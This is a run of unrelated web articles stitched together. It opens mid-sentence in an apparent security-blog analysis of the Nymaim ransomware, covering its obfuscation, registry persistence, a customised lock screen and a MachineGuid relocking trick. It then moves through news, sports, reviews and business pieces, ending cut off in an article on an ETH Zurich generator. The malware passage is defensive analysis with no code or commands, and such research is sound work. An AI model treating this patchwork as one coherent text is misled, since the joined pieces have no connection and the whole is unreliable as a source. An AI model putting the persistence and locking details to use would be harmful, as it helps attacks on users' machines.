API call directly to the malware code, the return address contains an address in ntdll.dll that executes Call EBX Before jumping into the API, the stack is modified to return to the correct address in ntdll.dll and EBX contains the true return address. This whole process is highlighted in the figure below. Not only is it hard to follow while single-stepping, but this will also impede the debugger “execute till return” functionality as there is no return that goes back to the user code. Strings Encryption All strings in the binary are stored encrypted. The function to decrypt the strings can be found in the next figure. Each character is encrypted depending on its position in the data section. The decryption routine is called for each character and the strings are decrypted only when they are needed. Nymaim – Second Stage Win32/Nymaim’s second stage uses the same obfuscation techniques as the first stage, but its functionalities are expanded to include persistence, dropper capabilities and a locking mechanism. Persistence is achieved by adding the executable path to the registry key “Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell” Our analysis revealed that occasionally, the second stage would download and install Win32/Sirefef on the machine. When this occurs, both Win32/Sirefef and Win32/Nymaim are persistent on the computer. Thus, additional malware can be downloaded at a future time by Win32/Nymaim. When Win32/Nymaim’s second stage does lock the computer, it will download the HTML locking screen, but will also customize it by gathering some information on the infected system, such as media files or active torrent clients. The resulting lock screen becomes much more believable to the user. More specifically, the malware searches the active processes for the following torrent clients: – Azureus – Utorrent – Mediaget – Bittorrent – Bitcomet It will also search for files with the following extensions: .doc, .xls, .psd, .bmp, .jpg, .mpg, .mov, .rtf, .fla and .mp3. The gathered information will be stored in a file called compdata.js that will be included by the locker HTML code. An example of a compdata.js file is shown below. The HTML code, scripts and images used to render the lockscreen are stored in the “Documents and Settings\[user_name]\Local Settings\Temp” folder on a Windows XP system. To lock the computer, the malicious code will create a window covering the whole screen. It will also spawn at least two threads. One will monitor the current running processes and will terminate taskmgr.exe (Task manager) if it is active. Another one will make sure that the current desktop is the one created by the malware, otherwise it will switch to that desktop. This behavior is very similar to the Urausy ransomware described by AVAST. The US lockscreen design (retrieved 2013/08/20) is shown in the screenshot below. As with most ransomware, the images are customized depending on the infected computer location. When the second stage is installed on a machine, it will communicate its bot ID to the server which will then decide what happens next. Throughout our research, we found that once a particular system has been locked, it is not possible to lock it again. The server seems to keep host information and will not send the HTML code required to lock the computer if it has already been served once to the requesting bot. After analysis, it appears that the computer ID is generated through the registry key “HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\MachineGuid” and simply changing this value enables the same computer to be locked at will, regardless of the bot’s IP address. Conclusion The home campaign has been delivering the Win32/Nymaim ransomware since at least March 2013. In this blog post, we saw that several malware families were dropped by this campaign. Our current understanding of the potential malware families delivered is shown in the next figure. Win32/Nymaim is a complex piece of malware that is used both as a downloader and a locker. It hinders malware analysis by implementing several control flow obfuscation techniques. For the end user though, the result is always the same: a thorough cleaning of their compromised computer is necessary. Stay tuned for the next blog post containing more information on this very interesting malware. Special thanks to Mathieu Lavoie for his contribution to this analysis. SHA1 hashes of analyzed files Pony Loader: ce6ae8bca368be676d6adae57d632f42187d762c Nymaim – first stage: c8a5bafb51039ec9d3c1291c1ebfe4886c81130d Nymaim – second stage: acef628f6d33e31c5f03ed6b386fbe2091a7f110 -Dr. Rosen was a lifer at Los Alamos. Where other scientists drifted away, he spent his career there, and built the most intense atom smasher in the world. He was also part ambassador, part lobbyist for the Los Alamos National Laboratory, promoting its continuing importance as a center not only of weapons development but also of basic research. His atom smasher was his most spectacular project. “This monstrous gadget will give us new windows on the nucleus, a new set of probes,” he said in an interview with The New York Times. Existing accelerators at the time smashed a high-speed beam of protons or electrons into a target. The resulting debris of subatomic particles would yield information on the composition of the nucleus. Dr. Rosen’s machine used the beam of protons to create a secondary, highly intense beam of particles called pi mesons, or pions. When smashed into the target material, the meson beam — 1,000 times as intense as that of any existing accelerator — could be used as a probe to study how pions interact with other nuclear materials. The continuous interchange of pions between proton and neutron is part of the glue holding the nucleus together. Photo By contrast, higher-energy but less intense accelerators obliterated more of the nucleus but could not study the same kind of internal nuclear dynamics. Another scientist at the time compared the two kinds of accelerator this way: think of the earlier version as hitting the nucleus with a baseball bat, and Dr. Rosen’s as doing so with a rapier. In an article in Physics Today in 1966, Dr. Rosen called his machine “a badly needed bridge between nuclear and subnuclear physics.” Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. In the 1990s, after Dr. Rosen had formally retired but remained involved in decision making, the group at Los Alamos in charge of the accelerator shifted course, in line with changing directions in physics. No longer did it harvest pions. Instead, it concentrated on neutrons, which were being used in more and more basic research and in practical applications. Advertisement Continue reading the main story One application was to probe stockpiled nuclear weapons that could no longer be tested. Other applications included studying the structure of complex biological molecules and re-examining the nuclear fuel cycle. In particular, Los Alamos became known for testing neutrons in very cold temperatures — a tiny fraction of a degree above absolute zero. Louis Rosen was born in Manhattan, earned bachelor’s and master’s degrees from the University of Alabama, and a doctorate in physics from Pennsylvania State University. He said he never took a course in nuclear physics. With his doctorate he went directly to Los Alamos to join the Manhattan Project, the code name for the group of scientists, mathematicians and engineers who built the first nuclear bombs. He worked at the laboratory until two days before his death. Dr. Rosen’s wife of more than 60 years, the former Mary Terry, died in 2004. He is survived by his brother, Bernard; two grandchildren; and four great-grandchildren. After the war, as many scientists began to leave Los Alamos, Dr. Rosen set about trying to retain as many as he could as well attract top-level replacements. It was partly with this in mind that he and Norris Bradbury, the laboratory’s director, came up with the idea of the accelerator. Dr. Rosen lobbied federal agencies and members of Congress alike for support. Writing in 1983 in Los Alamos Science, Dr. Rosen recalled a visit by the comptroller of the Atomic Energy Commission, who spotted him in the audience. “Ah, Louis Rosen is here,” the official said. “Every time I talk to him it costs me a million dollars.” -SAO PAULO (Reuters) - With 1 billion posts, likes and comments in just the first half of the World Cup, the soccer tournament is already the most talked-about event in Facebook Inc’s decade-long history, data obtained by Reuters showed. A smartphone user logs into his Facebook account in Rio de Janeiro April 15, 2013. REUTERS/Ricardo Moraes The soccer conversation measured between June 12 and June 29 involved 220 million people and 1 billion interactions, the Facebook data showed. And since the ball will be rolling for another two weeks, the tournament is set to break new records as the biggest social media event to date. “People are having conversations on Facebook about what they watch in a really unprecedented scale,” Nick Grudin, the company’s director of partnerships, told Reuters. “In addition to sharing and connecting with friends, people are engaging in real time with the media and the public voices they care about most.” Facebook is the latest social media company to capitalize on TV-related traffic around big events like the World Cup, a trend started years ago by the microblog website Twitter Inc. People use Facebook to comment about things they watch live, an interaction that could turn into a source of ad revenue for the company. Facebook’s record numbers were possible because of widespread mobile penetration. Seven out of 10 users globally connect to the network from mobile devices, which represent roughly 60 percent of the company’s ad revenue. There is also soccer’s global appeal. The first week of the World Cup alone saw 459 million interactions on Facebook, more than this year’s Super Bowl, the Sochi Winter Olympic Games and the Academy Awards combined. The 1 billion mark was reached after traffic accelerated as the World Cup moved into the knockout round. On Saturday, more than 31 million people put up 75 million posts, likes and comments about Brazil’s nail-biting victory over Chile, which propelled the home team to the quarter-finals. “This Cup has been a catalyzing cultural moment for people around the world,” Grudin said, “and we see it reflected on Facebook.” -'Batman: The Brave and the Bold' rounds out Batman Month on CartoonClack. Does this nod to the Silver Age of comics hold its own? The last edition of CartoonClack’s Batman Month is here. We left off with The Batman, which was not as popular as the DCAU Batman continuity but still lasted 4 seasons and over 50 episodes. The show did find it’s pacing in the later seasons when there was a definite lean towards lighthearted humor mixed with the action. I think it’s clear that DC’s animation department wanted to avoid copying Batman: The Animated Series because the Batman series that premiered in November of 2008 brought the goofy back to the Batman universe. Yes, we’ve come to Batman: The Brave and the Bold! You might have noticed a little trend in these articles, namely that after Batman: The Animated Series ended I was immediately skeptical of any other Batman cartoon. Well, I was the same for Brave and the Bold. Look, I was younger and not as wise as I am now at the grand old age of 26. Realize that for Brave and the Bold, the first news-pieces I saw for it described it in the vein of Schumacher’s Batman movies … that was not the best parallel to give me. But the big difference between Batman and Robin and this show (which ran from 2008 — 2011 with 65 episodes) is that this show is actually incredibly funny … good funny, that is. The 22ish minute run time is just enough time to tell a tight, goofy story in a charming way. It doesn’t grate on you in the same way a two hour movie of this would. But more than that, the writing is just solid. It’s writing in a very particular style, but they did the style well and with deliberation. It even took the chance on a normal basis to have a character step back and comment on how ridiculous a situation was. In other words, the show and the audience is in on the joke and the joke is legitimately funny. Unlike the other three shows featured during Batman Month, there aren’t many (or any) ongoing story lines. The large majority of the episodes are one shots. This makes the show incredibly difficult to analyze, at least difficult to analyze in the same way as the other shows I’ve reviewed this month. So, let’s talk about the main character a little and then I’ll go into a few of my favorite side characters, a few of my favorite episodes and how they fit into the whole series … sound good? Similarly to The Batman, Brave and the Bold‘s Batman is like the rice in fried rice … it’s the main aspect of the dish and is certainly a good part of the dish but the different ingredients accompanying it are what stand out. You can certainly eat the white rice on its own, but the extra stuff gives it flavor. While the villains aren’t bad (depending on the episode), for me it’s really the sidekicks and superhero team-ups that make this show unique and fun. It was a clever move by DC — Batman is easily one of the most recognizable and popular superheroes, so bringing in the audience with this recognizable character and then introducing these various lesser known characters is smart. What also works for the character that we haven’t seen in the other shows I’ve reviewed is this Dark Knight is rarely shown as Bruce Wayne … he still is Bruce Wayne and we do see him in civilian clothing sparingly, but his onscreen persona is almost entirely as THE BAT. Quiet, contemplative, bad ass but also a throwback to the Silver Age so he’s also pretty heavy on the puns. Most of the puns actually play like CSI: Miami one-liners, so his deep, grizzled straight man voice just makes the puns funnier. If you’ll believe it, he’s voice by a very serious Diedrich Bader of Drew Carrey fame. But like I said before, Batman is the canvas of this show — let’s check out the paint. Photo Credit: Warner Bros. -Russian President Vladimir Putin has claimed the U.S. is supplying Kiev with lethal weapons, telling reporters that the conflict in Ukraine will not be resolved through military escalation This article originally appeared in The Moscow Times Russian President Vladimir Putin has claimed the U.S. is supplying Kiev with lethal weapons, telling reporters that the conflict in Ukraine will not be resolved through military escalation. Poroshenko denies it of course -- just like the cauldron that didn't exist "According to our intelligence, [U.S.] weapons are already being delivered," Putin was shown on state television Channel One as telling a press conference on Tuesday, when asked if a shipment of lethal hardware from Washington to Kiev would fan the flames of war in eastern Ukraine. Putin, speaking in Budapest during a presidential visit to Hungary, added that arms deliveries would only contribute to the loss of lives in the war-torn region. "I am deeply convinced that whoever and whatever weapons are delivered to the conflict zone, the [outcome] will always be bad … the number of victims could increase," he said in comments widely published by Russian media. Kiev and Western nations, in turn, have for months accused Moscow of arming pro-Russian separatists in eastern Ukraine — a charge the Kremlin has repeatedly denied. In December the U.S. Congress passed legislation authorizing the sending of arms to Kiev. But while U.S. President Barack Obama signed the measure into law, he has been hesitant to use the option, amid widespread warnings arming Kiev would be seen as a declaration of war. Editor's note: An earlier version of this article incorrectly stated Putin gave the press conference in Bucharest instead of Budapest. -Bronze Age weapons are discovered in field Andy Nock discovered Bronze Age items in a field in Diss. Picture: Rebecca Murphy Archant A treasure hunter has made a discovery of two weapons which date back to the Bronze Age. Share Email this article to a friend To send a link to this page you must be logged in. Andy Nock's find. A Bronze Age sword. Picture: Andy Nock Andy Nock's find. A Bronze Age sword. Picture: Andy Nock Andy Nock was searching a field near Diss when he happened upon a spearhead and part of a sword which have both been confirmed by a local finds liaison officer to be around 2,500 years old. The 54-year-old said since he started the hobby in 1998 he has found Roman coins and pistol balls dating back a couple of hundred years but nothing on this scale. He said: “I did not realise at the time what it was. It is a great find, really. “The strange thing about it was the spearhead had wood traces in a handle and it is so strange it has lasted all this time but it has. Andy Nock's find. A Bronze Age spearhead. Picture: Andy Nock Andy Nock's find. A Bronze Age spearhead. Picture: Andy Nock “I suspect it could have been a burial site. If the field has been ploughed it could turn up more things.” Mr Nock, who lives on Ensign Way in Diss, said he enjoys metal detecting because of the “interesting objects” that can be found. “There are lots of interesting things out there like buttons and pistol balls,” he said. “Most of the time you find rubbish or you can find coins, which are quite common. “You can be surprised by what you find in a field. It is interesting and it is a good way to get out and about.” The items are currently in the possession of the landowner. Dig into the Bronze Age The beginning of the Bronze Age in Britain is believed to have begun in 2,000BC. Although it is not certain, it is thought the new bronze tools and weapons identified with this age were brought over from continental Europe. The skulls recovered from burial sites from the Bronze Age are different in shape from Stone Age skulls. This suggests new ideas and new blood were brought over from the continent. Before coming to Britain, the Bronze Age was prominent in Europe with Crete seen as the centre for bronze trade. The Bronze Age lasted for almost 1,500 years and was followed by the Iron Age. -Europe returns to Coal: Italy to increase reliance on coal for power generation to 33% from 14% despite climate change concerns By Finfacts Team Apr 23, 2008 - 3:40:40 AM Enel power plant in Civitavecchia, northwest of Rome, where conversion from oil to coal is underway. Europe returns to coal and in Italy, major electricity producer, Enel, is converting its massive power plant in Civitavecchia, northwest of Rome, from oil to coal, the dirtiest fuel on earth. A report in the New York Times today says that over the next five years, Italy will increase its reliance on coal to 33% from 14%. Power generated by Enel from coal will rise to 50%. The report says that Italy is not alone in its return to coal. Driven by rising demand, record high oil and natural gas prices, concerns over energy security and an aversion to nuclear energy, European countries are slated to build about 50 coal-fired plants over the next five years, plants that will be in use for the next five decades. Coal powered plants are being opened at a rapid pace in India and China. Australia, the world's biggest coal exporter, is a key supplier to Asia. The port of Newcastle, north of Sydney, is straining to meet the demand. Despite planned expansions, the ability of Australian seaports to handle increased coal shipments is unlikely to improve in the next few years, the head of the world's largest coal producer said on Tuesday. "It's not going to happen,"Gregory Boyce, chairman and chief executive of Peabody Energy Corp said during a conference call with Wall Street analysts. Boyce was asked whether recent congestion at Australian ports would be fixed soon. "It depends on what you mean by 'fixed,'" said Boyce. "We'll see some substantial increases in port capacity, but enough to satisfy demand? They will still be short." Some 38% of global electricity is generated from coal. Australia, Poland, South Africa and China all rely on coal to produce over three quarters of their electricity, India over 60%, and the USA and Germany more than half. In Germany and Italy, there is a ban on building nuclear power stations and some environmentalists who advocate anti-climate change measures do not accept that where oil is more expensive than coal, which has a reserve life of 200 years compared with up to 50 years for oil, choices have to be made in the real world. In Ireland, Minister for Communications, Energy and Natural Resources Eamon Ryan, called last January for "an urgent public debate in Ireland on nuclear energy." The call by the Green Party minister coincided with the announcement of the UK government's plans for a new generation of nuclear power stations, ending years of uncertainty over its energy strategy. The "urgent debate" may as well be held on Mars. The New York Times report says that Europe’s power station owners emphasize that they are making the new coal plants as clean as possible. But critics say that “clean coal” is a pipe dream, an oxymoron in terms of the carbon emissions that count most toward climate change. They call the building spurt shortsighted. “Building new coal-fired power plants is ill conceived,” said James E. Hansen, a leading climatologist at the NASA Goddard Institute for Space Studies told the NYT. “Given our knowledge about what needs to be done to stabilize climate, this plan is like barging into a war without having a plan for how it should be conducted, even though information is available. “We need a moratorium on coal now,” he added, “with phase out of existing plants over the next two decades.” Enel, like other electricity companies, say they have little choice but to build coal plants to replace aging infrastructure. Fuel costs have risen 151% since 1996, and Italians pay the highest electricity costs in Europe. Enel said in 2006 when it announced the planned conversion of the Civitavecchia plant from oil to coal, that the adoption of cutting-edge emissions-abatement technologies and the increased efficiency of coal-fired plants, make the use of coal compatible with the even stricter environmental regulations that were due to enter force in 2008. "The project not only helps to reduce emission levels of more than 80% compared with the previous oil power plant but it also allows the plant working under further better conditions even compared with the emission limits contained in the VIA Decree (Environmental Evaluation Impact decree)." Enel also emphasized that the wide availability of coal in many countries and the size of estimated coal reserves, which are far greater than those of gas and oil, make it an attractive option and an essential component of a balanced mix of energy resources for power generation. About one fourth of all energy consumed in Finland is generated utilising nuclear power. A French-German Consortium formed by Framatome ANP and Siemens has responsibility for the current construction of the Olkiluoto 3 plant pictured above. Enel also said that in circumstances "that are laying bare the dramatic structural fragility of the natural gas supply system and the dangers of over-reliance on one type of fuel to generate electricity, the diversification of energy resources, supplier countries and supply systems, and the need to ensure energy security and greater competitiveness for Italy has become a matter of even greater urgency and strategic importance." The company also defended the decision to expand the role of coal in electricity generation in Italy, with the objective of increasing its share of the fuel mix towards the European average, as the only feasible way to bring Italian electricity prices into line with those in the main European countries, thereby boosting the competitiveness of Italian companies and easing the burden of energy costs on the budgets of Italian households. Today's NYT report says that the technology, which the industry is counting on to reduce the carbon emissions that add to global warning — carbon capture and storage — is not now available for coal. No one knows if it is feasible on a large, cost-effective scale. Enel says it will only start experimenting with the technology — in which carbon emissions are pumped into underground reservoirs rather than released — in 2015, in the hopes of “a solution” by 2020. -“I hate cold calling.” “Cold calling is dead.” “Cold calling doesn’t work.” It’s interesting the effect a core set of beliefs can have on your sales results. Many of the salespeople I know that struggle to produce results prospecting have a very negative set of beliefs about cold calling. The salespeople I know that produce the best results have a different set of beliefs about cold calling. Many of them know that they are good at it, and they prefer to pick up the telephone and call their prospects. Some don’t have any strong feelings for or against cold calling. All of them make calls. You may want to believe that things have changed and that you no longer have to cold call. You may want to believe that you can gain enough prospects to make your number through social media and referrals. You may want to believe these things, but that doesn’t make them true. Maybe you aren’t worried about cold calling. But you should be worried about your competitors that are effective at cold calling and who are willing to pick up the phone and call your clients and dream clients. You know, the dream clients that you are waiting to develop through your drip campaign. What if? What if you were to change your beliefs about cold calling? What if, instead of convincing yourself that cold calling sucks, you told yourself that cold calling still works—as long as you approach is professional and it creates value? What if, instead of resisting cold calling, you embraced it? What if you were really good at it? What if you used cold calling along with all of the other prospecting methods available to you to build an effective prospecting plan, one that produces and develops enough opportunities for you to make and exceed your number? What if you were really good at cold calling? What if you were able to open the relationships that open opportunities effectively on the telephone? What if instead of worrying about your competitors calling into your clients and dream clients effectively they had to worry about you calling into theirs? What if you were such a tremendous value creator that you could cold call and build an unassailable pipeline? Get the Free eBook! Want to master cold calling? Download my free eBook! Many would have you believe that cold calling is dead, but the successful have no fear of the phone; they use it to outproduce their competitors. Download Now -.......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... .......... ALBUQUERQUE, N.M. — For updates throughout the day on city and community reaction, click here. The Department of Justice has found the Albuquerque Police Department has established a pattern and practice in the use of excessive and fatal force that violates the Constitutional rights of those shot or harmed by police officers. ADVERTISEMENTSkip In a 46-page letter of findings to Mayor Richard Berry, the DOJ reported, “We have determined that structural and systemic deficiencies — including insufficient oversight, inadequate training and ineffective policies — contributed to the use of unreasonable force.” The Department of Justice reviewed 20 fatal shootings by Albuquerque Police between 2009 and 2013 and found that in the majority of cases the level of force used was not justified because the person killed by police did not present a threat to police officers or the public. The DOJ also reviewed the use of nonlethal force involving significant harm or injury to people by APD officers and found a similar pattern of excessive force by officers against people who posed no threat and was not justified by the circumstances.Acting Assistant Attorney General Jocelyn Samuels said in an interview the findings were “pretty disturbing” and that public trust of the department has been eroded. “A lot of the most troubling incidents involved mentally ill people,” Samuels said. But the Justice Department said that whether it decides to seek a monitor to oversee changes in the department would depend in part on how willing APD was to make changes. Berry recently called on DOJ to begin negotiations for monitoring of the police department. Samuels said that there was a “culture of acceptance of the use of excessive force” within APD that stems from “systematic failures” that are department wide. In some cases, Samuels said, the reckless actions of officers put themselves in a position where force was needed. The letter thanks city, police administrators and rank-and-file officers for cooperating with the DOJ investigation. Among the findings: –Albuquerque police officers too often use deadly force in an unconstitutional manner in the use of their firearms where there is no imminent threat of death or serious bodily harm to officers or others. Instead officers used deadly force against people who posed a minimal threat and the conduct of officers heightened the danger and contributed to the need for force. — Albuquerque police officers use Tasers on people who are passively resisting, unable to comply with officer orders because of their mental state or posed only a minimal threat to officers. –The use of excessive force by APD officers is not isolated or sporadic. The failure to implement an objective and rigourous internal accountability system has led to force incidents not being properly investigated, documented or addressed with corrective measures. ADVERTISEMENTSkip –A significant amount of force cases reviewed were found to involve persons with mental illness and in crisis. The department’s policies, training and supervision were found insufficient to ensure officers properly responded to people they encountered with mental illness or in distress. “A disconnect exists between officers and residents about the perception of overly aggressive conduct by officers. We observed that many officers were dismissive of community concerns. For instance, many officers complained that the media generated the complaints about their perceived aggressiveness in citizen encounters. Some officers complained that citizens were the ones who were aggressive towards them. This perception persists even though the data suggests otherwise. These concerns suggest an unwillingness to embrace community policing. This rejection of one of the basic elements of community policing contributes to the department’s pattern or practice of unjustified force.” (page 40-41 DOJ letter) The DOJ letter cites the fatal shootings of Andrew Lopez and Dominic Smith in separate incidents in 2009 as examples of excessive force on unarmed men. Later examples include the shooting deaths of Alan Gomez outside a relative’s home in May 2011 and January 2010 shooting death of Kenneth Ellis which led to an $8 million civil settlement with the city. “We understand policing is a tremendously difficult job and the majority of officers do their jobs without violating constitutional rights,” Samuels said. But according to the DOJ letter, the culture of accepting the use of excessive force, both fatal and nonfatal, is created by the department’s failure to properly report excessive force incidents, thoroughly investigate those reports and properly discipline officers. Proper training and guidance were contributing factors to the fatal shootings and Constitutional violations in the nonfatal use of excessive force. ADVERTISEMENTSkip Federal officials made it clear that the recent shooting of James Boyd in the Albuquerque foothills by police is not part of the department’s civil findings and is being investigated separately as a criminal case. A police video recording of that shooting went viral on the Internet and ignited large street protests in Albuquerque. Key recommendations Samuels said the findings and recommendations released this morning are the start of discussions with Mayor Richard Berry’s administration on how to fix the problems with APD. The DOJ findings do not recommend a monitor or special master to oversee implementation of the lengthy list of remedial actions DOJ believes APD needs to make. Mayor Berry has already asked that independent monitors be appointed and a new deputy police chief was hired this week to work with a DOJ monitor to help implement changes in the department. “We have used these remedies in other cities and found they work,” Samuel said. “We hope they are willing to work with us.” ADVERTISEMENTSkip Whether DOJ seeks a monitor or goes to federal court to seek an appointed special master to oversee changes in APD depends on how receptive Berry’s administration is to making the changes the DOJ wants. “We have found monitors are critical to make sure the changes are successful,” Samuels said. Justice Department officials said APD has taken some positive steps to correcting problems but that those first steps need a lot of work. For instance they point to the department’s use of lapel cameras as an important innovation for police in Albuquerque, but the police department fell short in training, policy guidance and discipline on when and how the cameras should be used in dealing with the public. Another program to reduce police use of force, the formation of the Crisis Intervention Team (CIT), also drew praise from DOJ officials but they point out that the department again fell short in how and when the team trained to deal with mentally ill people is used. “Innovations the department has made are undermined by the lack of clear guidelines,” one DOJ official said. “When is the CIT called? Who is in charge of the scene?” ADVERTISEMENTSkip The DOJ recommends a nearly complete overhaul of the department’s use of force policies including a prohibition against shooting at motor vehicles and requiring the reporting of all use of force incidents, including the use of choke holds. Other sweeping recommendations include the reconstruction of APD’s Internal Affairs unit and policies governing it. The DOJ, for instance, wants all department employees to be required to report alleged or perceived misconduct to a supervisor or Internal Affairs for review and an easier system for the public to make complaints. DOJ recommends that incidents where force is used, whether fatal or not, should be treated as crime scenes were evidence is gathered and witnesses sought out for statements. The DOJ wants all use of force incidents to be reviewed by supervisors but not supervisors who were involved in the incident or ordered the use of force. DOJ wants the department to re-emphasize community policing after it found that department’s leadership had not made it a priority resulting in a department culture that is hostile to forming partnerships with community groups. Federal investigators found that the department’s training is too heavily focused on weaponry and scenarios where officers use force and that officers do not get enough training in how to de-escalate situations. The DOJ letter calls for an overhaul of the Police Oversight Commission, where investigators found the current and past review officers to be more closely aligned with the department than the community. -It's around this time of year that the names Todd McShay and Mel Kiper Jr. become important. Though they both work for ESPN, each puts out separate "mock drafts" leading up to the NFL Draft in April. Their mock drafts are generally among the most accurate and most telling when analyzing the draft stock of a prospect. Each of these men released a new mock draft today and, although they both have the San Diego Chargers selecting offensive linemen with their #11 overall selection, they do not agree on who the Bolts will be taking. Todd McShay Lane Johnson, OT (Oklahoma) McShay sees the Chargers parting ways with Jared Gaither, opening up a hole at the most important position on the line (Left Tackle). Johnson is not only a first-round talent when it comes to pass blocking and run blocking, but he's a good fit for the Zone Blocking scheme that new Offensive Line Coach Joe D'Alessandris will be implementing in San Diego. Cutting Gaither would free up $500,000 in cap space in 2013, but it would also save the Chargers $4.5 million in real dollars. The #11 pick in last year's draft, Dontari Poe, got a 4-year contract worth $11.3 million. His cap hit for his rookie season was a hair over $2 million. Would the Chargers be willing to eat $1.5 million in cap space to replace Gaither with Johnson? See More: Free Agent Offensive Tackles (Pre-Franchise Tags) Mel Kiper, Jr. Jonathan Cooper, G (North Carolina) Kiper went back and reviewed tape of the 2012 San Diego Chargers and was shocked at how poorly the Guards played. He seems to think that they were equally responsible for the poor pass blocking, and more responsible for the poor run blocking, as were the Offensive Tackles. Cooper would be an easier addition to a roster than Lane Johnson, if only because the team barely has just one Guard (Johnnie Troutman) signed for the upcoming season. See More: Free Agent Offensive Guards (Pre-Franchise Tags) One thing is for sure, the Chargers have holes to fill at the Tackle and Guard spots. Most teams in situations like this will attempt to fill both via free agency, and take whichever free agent fits the team best (in terms of scheme, personality and dollars). They'll then fill the remaining hole on the offensive line with a first or second-round draft pick. That means that Kiper or McShay could be right, but it will probably depend on free agency to decide which one actually is. -August 18th, 2013 On this day, the New York Yankees were finishing up a three game road series against the division leading Boston Red Sox. For the Yankees, the game seemed meaningless as they trailed the Red Sox by 7.5 games in the AL East. However, this series marked the first time that Alex Rodriguez returned to Fenway Park after serving a hefty suspension for being convicted of using PEDs. A player who was already hated throughout the league because of his on and off field antics, ARod gave opposing fans a reason to boo even louder when he stepped up to bat. And that’s exactly what the Red Sox faithful did as ARod walked to the plate for his first at bat of the night. After throwing one pitch behind Rodriguez and two very inside, Ryan Dempster used his last pitch to hit Rodriguez right below the elbow. As Red Sox fans jumped to their feet and cheered, Joe Girardi threw an on field tantrum that would subsequently lead to his ejection. Fast forward two at bats later and ARod got his revenge as he redirected Dempster’s fastball into the centerfield seats. That seemingly meaningless game manifested into a playoff-like atmosphere. That’s exactly what the Yankees-Red Sox rivalry did, every game had a purpose. This, however, would be the beginning of end of one of the most exciting rivalries in professional sports. In the 2000’s, every Yankees-Red Sox game was must watch baseball. Not only were both clubs top teams in the league for a majority of the decade, but their contempt for each other was unparalleled by any other rivalry in sports. The tension augmented game-changing moments, such as Aaron Boone’s walk off homer in 2003 ALCS and David Ortiz’s grand slam in the 2004 ALCS. However, in the early 2010’s, there was something different about the Yankees-Red Sox rivalry. When the Yankees were good, the Red Sox were rebuilding. Conversely, when the Red Sox were good, the Yankees were overpaying MLB stars way out of their prime. The days of the ARod-Varitek fight and “Who’s your daddy?” seemed like a thing of the past. At a time when baseball was taking a backseat to sports such as the NBA and NFL, its most famed rivalry was nowhere to be found. Fast forward to today and the narrative is changing. After acquiring Chris Sale in the offseason, the Red Sox were dubbed the “Warriors of the MLB” and instantly labeled World Series contenders. And rightfully so. The Red Sox boast a talented rotation filled with all-stars and former Cy Young winners. Their bullpen is anchored down by the most dominant closer in baseball today, Craig Kimbrel. To top it all off, they have one of the top offenses in baseball (maybe except when Chris Sale pitches). With a perfect mixture of young talent and savvy veterans, the Red Sox are right up there with Astros, Nationals, and Dodgers as the top teams in the league. As for the Yankees, they went into this season expecting to rebuild and develop their young core. Well, I don’t know if we can say they are still technically rebuilding. Just a couple of months into the season, the Yankees surprised all of baseball with their level of play. Their offense was producing at record levels, led by the biggest surprise of them all, Aaron Judge. Even their pitching staff was performing at their best in years. While I will admit the Red Sox are definitely the better team this year (even though this pains me as a Yankee fan), the future in New York is as bright as Times Square. But it takes more than talent to ignite this once fiery rivalry. As Mike Vaccaro wrote in his New York Post article, they are missing a necessary four letter word; hate. Hate is what drove this rivalry from good to great, from “exciting” baseball to “must watch” baseball. We need to see more hate. We need Aaron Judge to get into a fight with Sandy Leon after being intentionally throw at by Drew Pomeranz. We need Clint Frazier to slap the ball out of Rick Porcello’s hand in the late innings of a playoff game. We need Chris Sale to shove Tony Pena to the ground in the middle of a benches clearing brawl. We need boos and f*ck you’s. You take all of that and combine it with game changing plays, intense divisional matches, and all-or-nothing playoff scenarios, and you will see the fire return. This is what Boston and New York fans have been waiting for. Just show us a little hate coupled with competitive baseball and we’ll take care of the rest. We’ve been itching for this. I really do believe we are beginning to see the next chapter of the Yankees-Red Sox rivalry. One of the main reasons for this is because both teams are finally becoming competitive at the same time again. But even more so, both teams are setting themselves up for extended success through their young talent. And while the Red Sox out-gun the Yankees right now, let’s not forget how much cap space the Bronx Bombers have going into the next two off-seasons. I’d almost go as far as to guarantee that sometime in the next three years the Yankees and Red Sox will meet in the playoffs. How great would that be? Just one playoff series could catapult this rivalry back on the map. We’re not there yet, but I think we’re close. The faint boos that you could hear on Sunday when Aaron Judge stepped to the plate seemed like a preview of what’s to come. Get excited, I know I am. P.S. I’ll leave these videos here for your own viewing pleasure 😉 Share this: Twitter Facebook Google Like this: Like Loading... Related -The Shops at Willow Bend is getting a $100 million makeover from its new owners, who say it needs major changes to reach its potential. Starwood Retail Partners bought the Plano shopping center a year ago from the original developer, Taubman Centers Inc. Major additions will include a class A office tower, a hotel and an entertainment district with six to eight restaurants. Starwood is still working on its plans for residences and another fashion anchor store. The project will begin early next year with the razing of the 125,000-square-foot former Saks Fifth Avenue. The addition in its place will be the "architectural focal point" of the mall's new main entrance facing east toward the Dallas North Tollway. The first phase of the work will be completed in 2017 and the total project completed in 2019, Starwood said. The company promises the redevelopment will be highly visible from the tollway, with a "vibrant, welcoming façade that expresses a sense of arrival" for people visiting the center. "Plano is experiencing terrific growth, and our vision for Willow Bend is in step with the city's business, shopping and entertainment plans for the future," said Scott Wolstein, CEO of Starwood Retail Partners. The original developer tried to make the mall into a high-priced, super luxury center that was built around Neiman Marcus, Wolstein said, but the demographics for the area are much broader than just luxury shoppers. "The demand for merchandise went beyond the initial Prada, Gucci and Armani level," he said. "Neiman Marcus can serve that customer, and it does very well. Dillard's, Macy's, Restoration Hardware, Crate & Barrel and Apple all do extremely well." Those tenants are all sought after by shopping center landlords, he said, and "we're very happy to have that base in the mall. The hard work is done. "We're going to re-energize it into the mall it could be and should be," he said. -Nearly a fifth of the people on the planet live without access to electricity, and while generators can be used to provide power to these areas, most are too expensive or not portable enough to offer a real alternative. That’s where students at ETH Zurich stepped in. As part of their masters thesis project, the team created a low-cost portable hybrid generator that can provide enough power to supply over 20 homes with electricity – and it produces clean water as well. Students John Oldridge and Till Richter from the Laboratory of Energy Conversion at ETH Zurich wanted to create a system that was both portable and affordable that could easily be launched in areas that lack energy resources. After six months of research, they revealed a prototype compact enough to fit on a trailer, 